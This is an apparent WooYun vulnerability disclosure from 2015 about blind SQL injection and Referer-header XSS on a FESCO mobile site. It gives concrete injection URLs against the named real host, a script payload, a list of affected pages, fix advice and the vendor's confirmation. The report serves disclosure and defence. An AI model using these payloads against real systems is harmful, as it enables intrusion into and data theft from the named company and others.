漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-094066
漏洞标题：北京外企某站sql注入合集（二）
相关厂商：北京外企人力资源服务有限公司
漏洞作者： 大懒
提交时间：2015-01-27 11:59
修复时间：2015-03-13 12:00
公开时间：2015-03-13 12:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-27： 细节已通知厂商并且等待厂商处理中
2015-01-29： 厂商已经确认，细节仅向厂商公开
2015-02-08： 细节向核心白帽子及相关领域专家公开
2015-02-18： 细节向普通白帽子公开
2015-02-28： 细节向实习白帽子公开
2015-03-13： 细节向公众公开
简要描述：
该站点存在sql整型盲注，基于referer的xss
详细说明：
1.sql盲注
url：http://mobile.fesco.com.cn/c/people.php
parameter：language
如下url：http://mobile.fesco.com.cn/c/people.php?age=0&language=-1%20OR%203*2*1%3d6%20AND%201%3D2&serviceid=2&sex=0&star=1 逻辑是1=2
然后url：http://mobile.fesco.com.cn/c/people.php?age=0&language=-1%20OR%203*2*1%3d6%20AND%201%3D1&serviceid=2&sex=0&star=1 逻辑是1=1
然后整型看char能否起作用
url：http://mobile.fesco.com.cn/c/people.php?age=0&language=-1%20OR%203*2*1%3d6%20AND%201%3Dchar(49)&serviceid=2&sex=0&star=1
用sqlmap跑一下：
2.xss
url：
http://mobile.fesco.com.cn/c/apply.php
修改请求头部，增加Referer: "<script>alert(/xss/)<Script>
影响的url：
/c/apply.php
/c/artlist.php
/c/detailjob.php
/c/detailpeople.php
/c/download.php
/c/people.php
/c/sshow.php
漏洞证明：
如上
修复方案：
1.查询语句结构化，
2.对referer头部的双引号转义，设置referer白名单
版权声明：转载请注明来源 大懒@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2015-01-29 11:39
厂商回复：
感谢这位白帽子，这网站长久不用了，我已 联系负责人，看是下线还是修复，谢谢。
最新状态：
暂无